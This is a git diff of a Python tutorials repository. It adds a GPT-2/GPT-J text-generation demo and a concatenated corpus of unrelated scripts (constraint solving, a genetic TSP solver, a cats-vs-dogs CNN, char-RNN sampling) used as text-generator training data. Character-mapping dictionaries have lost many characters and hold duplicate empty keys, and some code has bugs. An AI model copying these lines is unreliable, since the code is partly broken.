+ "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "clkMMnsgh_YF" + }, + "source": [ + "" + ], + "execution_count": null, + "outputs": [] + } + ] +} \ No newline at end of file diff --git a/machine-learning/nlp/text-generation-transformers/requirements.txt b/machine-learning/nlp/text-generation-transformers/requirements.txt new file mode 100644 index 00000000..747b7aa9 --- /dev/null +++ b/machine-learning/nlp/text-generation-transformers/requirements.txt @@ -0,0 +1 @@ +transformers \ No newline at end of file diff --git a/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py b/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py new file mode 100644 index 00000000..f96a00a4 --- /dev/null +++ b/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py @@ -0,0 +1,83 @@ +# -*- coding: utf-8 -*- +"""TextGeneration-Transformers-PythonCodeTutorial.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1OUgJ92vQeFFYatf5gwtGulhA-mFwS0Md +""" + +# !pip install transformers + +from transformers import pipeline + +# download & load GPT-2 model +gpt2_generator = pipeline('text-generation', model='gpt2') + +# generate 3 different sentences +# results are sampled from the top 50 candidates +sentences = gpt2_generator("To be honest, neural networks", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3) +for sentence in sentences: + print(sentence["generated_text"]) + print("="*50) + +# download & load GPT-J model! It's 22.5GB in size +gpt_j_generator = pipeline('text-generation', model='EleutherAI/gpt-j-6B') + +# generate sentences with TOP-K sampling +sentences = gpt_j_generator("To be honest, robots will", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3) +for sentence in sentences: + print(sentence["generated_text"]) + print("="*50) + +# generate Python Code! +print(gpt_j_generator( +""" +import os +# make a list of all african countries +""", + do_sample=True, top_k=10, temperature=0.05, max_length=256)[0]["generated_text"]) + +print(gpt_j_generator( +""" +import cv2 + +image = "image.png" + +# load the image and flip it +""", + do_sample=True, top_k=10, temperature=0.05, max_length=256)[0]["generated_text"]) + +# complete bash script! +print(gpt_j_generator( +""" +# get .py files in /opt directory +ls *.py /opt +# get public ip address +""", max_length=256, top_k=50, temperature=0.05, do_sample=True)[0]["generated_text"]) + +# generating bash script! +print(gpt_j_generator( +""" +# update the repository +sudo apt-get update +# install and start nginx +""", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0]["generated_text"]) + +# Java code! +print(gpt_j_generator( +""" +public class Test { + +public static void main(String[] args){ + // printing the first 20 fibonacci numbers +""", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0]["generated_text"]) + +# Commented out IPython magic to ensure Python compatibility. +# LATEX! +print(gpt_j_generator( +r""" +# % list of Asian countries +\begin{enumerate} +""", max_length=128, top_k=15, temperature=0.1, do_sample=True)[0]["generated_text"]) + diff --git a/machine-learning/nlp/text-generator/README.md b/machine-learning/nlp/text-generator/README.md index 192a779a..6a4bf2d4 100644 --- a/machine-learning/nlp/text-generator/README.md +++ b/machine-learning/nlp/text-generator/README.md @@ -1,4 +1,4 @@ -# [How to Build a Text Generator using Keras in Python](https://www.thepythoncode.com/article/text-generation-keras-python) +# [How to Build a Text Generator using TensorFlow and Keras in Python](https://www.thepythoncode.com/article/text-generation-keras-python) To run this: - `pip3 install -r requirements.txt` - To use pre-trained text generator model that was trained on Alice's wonderland text book or Python Code: diff --git a/machine-learning/nlp/text-generator/data/python_code.py b/machine-learning/nlp/text-generator/data/python_code.py new file mode 100644 index 00000000..084781cf --- /dev/null +++ b/machine-learning/nlp/text-generator/data/python_code.py @@ -0,0 +1,25354 @@ +from constraint import Problem, Domain, AllDifferentConstraint +import matplotlib.pyplot as plt +import numpy as np + + +def _get_pairs(variables): + work = list(variables) + pairs = [ (work[i], work[i+1]) for i in range(len(work)-1) ] + return pairs + +def n_queens(n=8): + + def not_in_diagonal(a, b): + result = True + for i in range(1, n): + result = result and ( a != b + i ) + return result + + problem = Problem() + variables = { f'x{i}' for i in range(n) } + problem.addVariables(variables, Domain(set(range(1, n+1)))) + problem.addConstraint(AllDifferentConstraint()) + for pair in _get_pairs(variables): + problem.addConstraint(not_in_diagonal, pair) + return problem.getSolutions() + + +def magic_square(n=3): + + def all_equal(*variables): + square = np.reshape(variables, (n, n)) + diagonal = sum(np.diagonal(square)) + b = True + for i in range(n): + b = b and sum(square[i, :]) == diagonal + b = b and sum(square[:, i]) == diagonal + if b: + print(square) + return b + + problem = Problem() + variables = { f'x{i}{j}' for i in range(1, n+1) for j in range(1, n+1) } + problem.addVariables(variables, Domain(set(range(1, (n**2 + 2))))) + problem.addConstraint(all_equal, variables) + problem.addConstraint(AllDifferentConstraint()) + return problem.getSolutions() + + + +def plot_queens(solutions): + for solution in solutions: + for row, column in solution.items(): + x = int(row.lstrip('x')) + y = column + plt.scatter(x, y, s=70) + plt.grid() + plt.show() + +if __name__ == "__main__": + # solutions = n_queens(n=12) + # print(solutions) + # plot_queens(solutions) + + solutions = magic_square(n=4) + for solution in solutions: + print(solution) + + + + +import numpy as np +import random +import operator +import pandas as pd +import matplotlib.pyplot as plt +import seaborn +from matplotlib import animation +from realtime_plot import realtime_plot +from threading import Thread, Event +from time import sleep + +seaborn.set_style("dark") + +stop_animation = Event() + +# def animate_cities_and_routes(): +# global route + +# def wrapped(): +# # create figure +# sleep(3) +# print("thread:", route) +# figure = plt.figure(figsize=(14, 8)) +# ax1 = figure.add_subplot(1, 1, 1) + +# def animate(i): +# ax1.title.set_text("Real time routes") +# for city in route: +# ax1.scatter(city.x, city.y, s=70, c='b') + +# ax1.plot([ city.x for city in route ], [city.y for city in route], c='r') + +# animation.FuncAnimation(figure, animate, interval=100) +# plt.show() +# t = Thread(target=wrapped) +# t.start() + +def plot_routes(initial_route, final_route): + _, ax = plt.subplots(nrows=1, ncols=2) + + for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): + col.title.set_text(route[0]) + route = route[1] + for city in route: + col.scatter(city.x, city.y, s=70, c='b') + + col.plot([ city.x for city in route ], [city.y for city in route], c='r') + col.plot([route[-1].x, route[0].x], [route[-1].x, route[-1].y]) + + plt.show() + +def animate_progress(): + global route + global progress + global stop_animation + + def animate(): + # figure = plt.figure() + # ax1 = figure.add_subplot(1, 1, 1) + figure, ax1 = plt.subplots(nrows=1, ncols=2) + while True: + + ax1[0].clear() + ax1[1].clear() + + # current routes and cities + ax1[0].title.set_text("Current routes") + + + for city in route: + ax1[0].scatter(city.x, city.y, s=70, c='b') + + ax1[0].plot([ city.x for city in route ], [city.y for city in route], c='r') + ax1[0].plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') + + # current distance graph + ax1[1].title.set_text("Current distance") + ax1[1].plot(progress) + ax1[1].set_ylabel("Distance") + ax1[1].set_xlabel("Generation") + + plt.pause(0.05) + + + if stop_animation.is_set(): + break + plt.show() + + Thread(target=animate).start() + + +class City: + def __init__(self, x, y): + self.x = x + self.y = y + + def distance(self, city): + """Returns distance between self city and city""" + x = abs(self.x - city.x) + y = abs(self.y - city.y) + return np.sqrt(x ** 2 + y ** 2) + + def __sub__(self, city): + return self.distance(city) + + def __repr__(self): + return f"({self.x}, {self.y})" + + def __str__(self): + return self.__repr__() + + +class Fitness: + def __init__(self, route): + self.route = route + + def distance(self): + distance = 0 + for i in range(len(self.route)): + from_city = self.route[i] + to_city = self.route[i+1] if i+i < len(self.route) else self.route[0] + distance += (from_city - to_city) + return distance + + def fitness(self): + return 1 / self.distance() + + +def generate_cities(size): + cities = [] + for i in range(size): + x = random.randint(0, 200) + y = random.randint(0, 200) + + if 40 < x < 160: + if 0.5 <= random.random(): + y = random.randint(0, 40) + else: + y = random.randint(160, 200) + elif 40 < y < 160: + if 0.5 <= random.random(): + x = random.randint(0, 40) + else: + x = random.randint(160, 200) + + cities.append(City(x, y)) + return cities + # return [ City(x=random.randint(0, 200), y=random.randint(0, 200)) for i in range(size) ] + + +def create_route(cities): + return random.sample(cities, len(cities)) + + +def initial_population(popsize, cities): + return [ create_route(cities) for i in range(popsize) ] + + +def sort_routes(population): + """This function calculates the fitness of each route in population + And returns a population sorted by its fitness in descending order""" + + result = [ (i, Fitness(route).fitness()) for i, route in enumerate(population) ] + return sorted(result, key=operator.itemgetter(1), reverse=True) + + +def selection(population, elite_size): + sorted_pop = sort_routes(population) + df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) + # calculates the cumulative sum + # example: + # [5, 6, 7] => [5, 11, 18] + df['cum_sum'] = df['Fitness'].cumsum() + # calculates the cumulative percentage + # example: + # [5, 6, 7] => [5/18, 11/18, 18/18] + # [5, 6, 7] => [27.77%, 61.11%, 100%] + df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() + + result = [ sorted_pop[i][0] for i in range(elite_size) ] + + for i in range(len(sorted_pop) - elite_size): + pick = random.random() * 100 + for i in range(len(sorted_pop)): + if pick <= df['cum_perc'][i]: + result.append(sorted_pop[i][0]) + break + return [ population[index] for index in result ] + + +def breed(parent1, parent2): + child1, child2 = [], [] + + gene_A = random.randint(0, len(parent1)) + gene_B = random.randint(0, len(parent2)) + + start_gene = min(gene_A, gene_B) + end_gene = max(gene_A, gene_B) + + for i in range(start_gene, end_gene): + child1.append(parent1[i]) + + child2 = [ item for item in parent2 if item not in child1 ] + return child1 + child2 + + +def breed_population(selection, elite_size): + pool = random.sample(selection, len(selection)) + + # for i in range(elite_size): + # children.append(selection[i]) + children = [selection[i] for i in range(elite_size)] + children.extend([breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - elite_size)]) + + # for i in range(len(selection) - elite_size): + # child = breed(pool[i], pool[len(selection)-i-1]) + # children.append(child) + + return children + + +def mutate(route, mutation_rate): + route_length = len(route) + for swapped in range(route_length): + if(random.random() < mutation_rate): + swap_with = random.randint(0, route_length-1) + route[swapped], route[swap_with] = route[swap_with], route[swapped] + return route + + +def mutate_population(population, mutation_rate): + return [ mutate(route, mutation_rate) for route in population ] + + +def next_gen(current_gen, elite_size, mutation_rate): + select = selection(population=current_gen, elite_size=elite_size) + children = breed_population(selection=select, elite_size=elite_size) + return mutate_population(children, mutation_rate) + + +def genetic_algorithm(cities, popsize, elite_size, mutation_rate, generations, plot=True, prn=True): + global route + global progress + + population = initial_population(popsize=popsize, cities=cities) + if plot: + animate_progress() + sorted_pop = sort_routes(population) + initial_route = population[sorted_pop[0][0]] + distance = 1 / sorted_pop[0][1] + if prn: + print(f"Initial distance: {distance}") + try: + if plot: + progress = [ distance ] + for i in range(generations): + population = next_gen(population, elite_size, mutation_rate) + sorted_pop = sort_routes(population) + distance = 1 / sorted_pop[0][1] + + progress.append(distance) + if prn: + print(f"[Generation:{i}] Current distance: {distance}") + route = population[sorted_pop[0][0]] + else: + for i in range(generations): + population = next_gen(population, elite_size, mutation_rate) + distance = 1 / sort_routes(population)[0][1] + + if prn: + print(f"[Generation:{i}] Current distance: {distance}") + except KeyboardInterrupt: + pass + stop_animation.set() + final_route_index = sort_routes(population)[0][0] + final_route = population[final_route_index] + if prn: + print("Final route:", final_route) + + return initial_route, final_route, distance + + +if __name__ == "__main__": + cities = generate_cities(25) + initial_route, final_route, distance = genetic_algorithm(cities=cities, popsize=120, elite_size=19, mutation_rate=0.0019, generations=1800) + # plot_routes(initial_route, final_route) + + + + +import numpy +import matplotlib.pyplot as plt +import cv2 +from PIL import Image +from multiprocessing import Process + + +def fig2img ( fig ): + """ + brief Convert a Matplotlib figure to a PIL Image in RGBA format and return it + param fig a matplotlib figure + return a Python Imaging Library ( PIL ) image + """ + # put the figure pixmap into a numpy array + buf = fig2data ( fig ) + w, h, d = buf.shape + return Image.frombytes( "RGB", ( w ,h ), buf.tostring( ) ) + + +def fig2data ( fig ): + """ + brief Convert a Matplotlib figure to a 4D numpy array with RGBA channels and return it + param fig a matplotlib figure + return a numpy 3D array of RGBA values + """ + # draw the renderer + fig.canvas.draw ( ) + + # Get the RGBA buffer from the figure + w,h = fig.canvas.get_width_height() + buf = numpy.fromstring ( fig.canvas.tostring_rgb(), dtype=numpy.uint8 ) + buf.shape = ( w, h,3 ) + + # canvas.tostring_argb give pixmap in ARGB mode. Roll the ALPHA channel to have it in RGBA mode + buf = numpy.roll ( buf, 3, axis = 2 ) + return buf + + +if __name__ == "__main__": + pass + # figure = plt.figure() + # plt.plot([3, 5, 9], [3, 19, 23]) + # img = fig2img(figure) + # img.show() + # while True: + # frame = numpy.array(img) + # # Convert RGB to BGR + # frame = frame[:, :, ::-1].copy() + # print(frame) + # cv2.imshow("test", frame) + # if cv2.waitKey(0) == ord('q'): + # break + # cv2.destroyAllWindows() + + + +def realtime_plot(route): + + + figure = plt.figure(figsize=(14, 8)) + plt.title("Real time routes") + for city in route: + plt.scatter(city.x, city.y, s=70, c='b') + + plt.plot([ city.x for city in route ], [city.y for city in route], c='r') + + img = numpy.array(fig2img(figure)) + cv2.imshow("test", img) + if cv2.waitKey(1) == ord('q'): + cv2.destroyAllWindows() + plt.close(figure) + + + + +from genetic import genetic_algorithm, generate_cities, City +import operator + +def load_cities(): + return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] + +def train(): + cities = load_cities() + generations = 1000 + popsizes = [60, 100, 140, 180] + elitesizes = [5, 15, 25, 35, 45] + mutation_rates = [0.0001, 0.0005, 0.001, 0.005, 0.01] + + total_iterations = len(popsizes) * len(elitesizes) * len(mutation_rates) + iteration = 0 + + tries = {} + + for popsize in popsizes: + for elite_size in elitesizes: + for mutation_rate in mutation_rates: + iteration += 1 + init_route, final_route, distance = genetic_algorithm( cities=cities, + popsize=popsize, + elite_size=elite_size, + mutation_rate=mutation_rate, + generations=generations, + plot=False, + prn=False) + progress = iteration / total_iterations + percentage = progress * 100 + print(f"[{percentage:5.2f}%] [Iteration:{iteration:3}/{total_iterations:3}] [popsize={popsize:3} elite_size={elite_size:2} mutation_rate={mutation_rate:7}] Distance: {distance:4}") + tries[(popsize, elite_size, mutation_rate)] = distance + + min_gen = min(tries.values()) + reversed_tries = { v:k for k, v in tries.items() } + best_combination = reversed_tries[min_gen] + print("Best combination:", best_combination) + + +if __name__ == "__main__": + train() + + +# best parameters +# popsize elitesize mutation_rateqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq +# 90 25 0.0001 +# 110 10 0.001 +# 130 10 0.005 +# 130 20 0.001 +# 150 25 0.001 + + + + +import os + + +def load_data(path): + """ + Load dataset + """ + input_file = os.path.join(path) + with open(input_file, "r") as f: + data = f.read() + + return data.split('\n') + + + + +import numpy as np +from keras.losses import sparse_categorical_crossentropy +from keras.models import Sequential +from keras.preprocessing.text import Tokenizer +from keras.utils import to_categorical + + +def _test_model(model, input_shape, output_sequence_length, french_vocab_size): + if isinstance(model, Sequential): + model = model.model + + assert model.input_shape == (None, *input_shape[1:]),\ + 'Wrong input shape. Found input shape {} using parameter input_shape={}'.format(model.input_shape, input_shape) + + assert model.output_shape == (None, output_sequence_length, french_vocab_size),\ + 'Wrong output shape. Found output shape {} using parameters output_sequence_length={} and french_vocab_size={}'\ + .format(model.output_shape, output_sequence_length, french_vocab_size) + + assert len(model.loss_functions) > 0,\ + 'No loss function set. Apply the compile function to the model.' + + assert sparse_categorical_crossentropy in model.loss_functions,\ + 'Not using sparse_categorical_crossentropy function for loss.' + + +def test_tokenize(tokenize): + sentences = [ + 'The quick brown fox jumps over the lazy dog .', + 'By Jove , my quick study of lexicography won a prize .', + 'This is a short sentence .'] + tokenized_sentences, tokenizer = tokenize(sentences) + assert tokenized_sentences == tokenizer.texts_to_sequences(sentences),\ + 'Tokenizer returned and doesn\'t generate the same sentences as the tokenized sentences returned. ' + + +def test_pad(pad): + tokens = [ + [i for i in range(4)], + [i for i in range(6)], + [i for i in range(3)]] + padded_tokens = pad(tokens) + padding_id = padded_tokens[0][-1] + true_padded_tokens = np.array([ + [i for i in range(4)] + [padding_id]*2, + [i for i in range(6)], + [i for i in range(3)] + [padding_id]*3]) + assert isinstance(padded_tokens, np.ndarray),\ + 'Pad returned the wrong type. Found {} type, expected numpy array type.' + assert np.all(padded_tokens == true_padded_tokens), 'Pad returned the wrong results.' + + padded_tokens_using_length = pad(tokens, 9) + assert np.all(padded_tokens_using_length == np.concatenate((true_padded_tokens, np.full((3, 3), padding_id)), axis=1)),\ + 'Using length argument return incorrect results' + + +def test_simple_model(simple_model): + input_shape = (137861, 21, 1) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = simple_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_embed_model(embed_model): + input_shape = (137861, 21) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = embed_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_encdec_model(encdec_model): + input_shape = (137861, 15, 1) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_bd_model(bd_model): + input_shape = (137861, 21, 1) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = bd_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + +def test_model_final(model_final): + input_shape = (137861, 15) + output_sequence_length = 21 + english_vocab_size = 199 + french_vocab_size = 344 + + model = model_final(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) + _test_model(model, input_shape, output_sequence_length, french_vocab_size) + + + + +CATEGORIES = ["Dog", "Cat"] +IMG_SIZE = 100 + + +DATADIR = r"C:\Users\STRIX\Desktop\CatnDog\PetImages" +TRAINING_DIR = r"E:\datasets\CatnDog\Training" +TESTING_DIR = r"E:\datasets\CatnDog\Testing" + + + + +import cv2 +import tensorflow as tf +import os +import numpy as np +import random +from settings import * +from tqdm import tqdm + + +# CAT_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Cat" +# DOG_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Dog" + +MODEL = "Cats-vs-dogs-new-6-0.90-CNN" + +def prepare_image(path): + image = cv2.imread(path, cv2.IMREAD_GRAYSCALE) + image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) + return image + # img = cv2.imread(path, cv2.IMREAD_GRAYSCALE) + # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE)) + # return img.reshape(-1, IMG_SIZE, IMG_SIZE, 1) + + +def load_model(): + return tf.keras.models.load_model(f"{MODEL}.model") + + +def predict(img): + prediction = model.predict([prepare_image(img)])[0][0] + return int(prediction) + + +if __name__ == "__main__": + model = load_model() + x_test, y_test = [], [] + + for code, category in enumerate(CATEGORIES): + path = os.path.join(TESTING_DIR, category) + for img in tqdm(os.listdir(path), "Loading images:"): + # result = predict(os.path.join(path, img)) + # if result == code: + # correct += 1 + # total += 1 + # testing_data.append((os.path.join(path, img), code)) + x_test.append(prepare_image(os.path.join(path, img))) + y_test.append(code) + + x_test = np.array(x_test).reshape(-1, IMG_SIZE, IMG_SIZE, 1) + + # random.shuffle(testing_data) + + # total = 0 + # correct = 0 + + # for img, code in testing_data: + + # result = predict(img) + # if result == code: + # correct += 1 + # total += 1 + + # accuracy = (correct/total) * 100 + # print(f"{correct}/{total} Total Accuracy: {accuracy:.2f}%") + # print(x_test) + # print("="*50) + # print(y_test) + print(model.evaluate([x_test], y_test)) + print(model.metrics_names) + + + + +import numpy as np +import matplotlib.pyplot as plt +import cv2 +import os +# import cv2 +from tqdm import tqdm +import random +from settings import * + + +# for the first time only +# for category in CATEGORIES: +# directory = os.path.join(TRAINING_DIR, category) +# os.makedirs(directory) + +# # for the first time only +# for category in CATEGORIES: +# directory = os.path.join(TESTING_DIR, category) +# os.makedirs(directory) + + + + +# Total images for each category: 12501 image (total 25002) + + +# def create_data(): +# for code, category in enumerate(CATEGORIES): +# path = os.path.join(DATADIR, category) +# for counter, img in enumerate(tqdm(os.listdir(path)), start=1): +# try: +# # absolute path of image +# image = os.path.join(path, img) +# image = cv2.imread(image, cv2.IMREAD_GRAYSCALE) +# image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) +# if counter < 300: +# # testing image +# img = os.path.join(TESTING_DIR, category, img) +# else: +# # training image +# img = os.path.join(TRAINING_DIR, category, img) + +# cv2.imwrite(img, image) +# except: +# pass + + +def load_data(path): + + data = [] + + for code, category in enumerate(CATEGORIES): + p = os.path.join(path, category) + for img in tqdm(os.listdir(p), desc=f"Loading {category} data: "): + img = os.path.join(p, img) + img = cv2.imread(img, cv2.IMREAD_GRAYSCALE) + data.append((img, code)) + + return data + + +def load_training_data(): + return load_data(TRAINING_DIR) + + +def load_testing_data(): + return load_data(TESTING_DIR) + + + +# # load data +# training_data = load_training_data() +# # # shuffle data +# random.shuffle(training_data) + +# X, y = [], [] + + +# for features, label in tqdm(training_data, desc="Splitting the data: "): +# X.append(features) +# y.append(label) + +# X = np.array(X).reshape(-1, IMG_SIZE, IMG_SIZE, 1) + +# # pickling (images,labels) +# print("Pickling data...") +import pickle + +# with open("X.pickle", 'wb') as pickle_out: +# pickle.dump(X, pickle_out) + +# with open("y.pickle", 'wb') as pickle_out: +# pickle.dump(y, pickle_out) + + + +def load(): + return np.array(pickle.load(open("X.pickle", 'rb'))), pickle.load(open("y.pickle", 'rb')) + +print("Loading data...") +X, y = load() + +X = X/255 # to make colors from 0 to 1 +print("Shape of X:", X.shape) +import tensorflow +from tensorflow.keras.datasets import cifar10 +from tensorflow.keras.preprocessing.image import ImageDataGenerator +from tensorflow.keras.callbacks import ModelCheckpoint +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten +from tensorflow.keras.layers import Conv2D, MaxPooling2D +# from tensorflow.keras.callbacks import TensorBoard + +print("Imported tensorflow, building model...") + +NAME = "Cats-vs-dogs-new-9-{val_acc:.2f}-CNN" + +checkpoint = ModelCheckpoint(filepath=f"{NAME}.model", save_best_only=True, verbose=1) + +# 3 conv, 64 nodes per layer, 0 dense + +model = Sequential() + +model.add(Conv2D(32, (2, 2), input_shape=X.shape[1:])) +model.add(Activation('relu')) +model.add(Conv2D(32, (2, 2))) +model.add(Dropout(0.1)) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(64, (2, 2))) +model.add(Activation('relu')) +model.add(Conv2D(64, (2, 2))) +model.add(Dropout(0.1)) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(96, (2, 2))) +model.add(Activation('relu')) +model.add(Conv2D(96, (2, 2))) +model.add(Dropout(0.1)) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(128, (2, 2))) +model.add(Activation('relu')) +model.add(Conv2D(128, (2, 2))) +model.add(Dropout(0.1)) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Dense(500, activation="relu")) + +model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors + +model.add(Dense(1)) +model.add(Activation('sigmoid')) + +model.summary() + +print("Compiling model ...") + +# tensorboard = TensorBoard(log_dir=f"logs/{NAME}") + +model.compile(loss="binary_crossentropy", + optimizer="rmsprop", + metrics=['accuracy']) + +print("Training...") + +model.fit(X, y, batch_size=64, epochs=30, validation_split=0.2, callbacks=[checkpoint]) + + + + +### Hyper Parameters ### + +batch_size = 256 # Sequences per batch +num_steps = 70 # Number of sequence steps per batch +lstm_size = 256 # Size of hidden layers in LSTMs +num_layers = 2 # Number of LSTM layers +learning_rate = 0.003 # Learning rate +keep_prob = 0.3 # Dropout keep probability + +epochs = 20 +# Print losses every N interations +print_every_n = 100 + +# Save every N iterations +save_every_n = 500 + +NUM_THREADS = 12 + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=1, + inter_op_parallelism_threads=1, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +import train_chars +import numpy as np +import keyboard + + +char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, +'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': +35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': +70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, +'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} + + +model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) +saver = train_chars.tf.train.Saver() + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + + +def write_sample(checkpoint, lstm_size, vocab_size, char2int, int2char, prime="import"): + # samples = [c for c in prime] + + with train_chars.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = char2int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + # print("Preds:", preds) + c = pick_top_n(preds, vocab_size) + char = int2char[c] + keyboard.write(char) + time.sleep(0.01) + # samples.append(char) + while True: + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, vocab_size) + char = int2char[c] + keyboard.write(char) + time.sleep(0.01) + # samples.append(char) + + # return ''.join(samples)ss", "as" + +if __name__ == "__main__": + # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") + # print(checkpoint) + checkpoint = "checkpoints/i6291_l256.ckpt" + print() + f = open("generates/python.txt", "a", encoding="utf8") + int2char_target = { v:k for k, v in char2int_target.items() } + import time + time.sleep(2) + write_sample(checkpoint, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime="#"*100) + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +import train_chars +import numpy as np + + +char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, +'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': +35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, 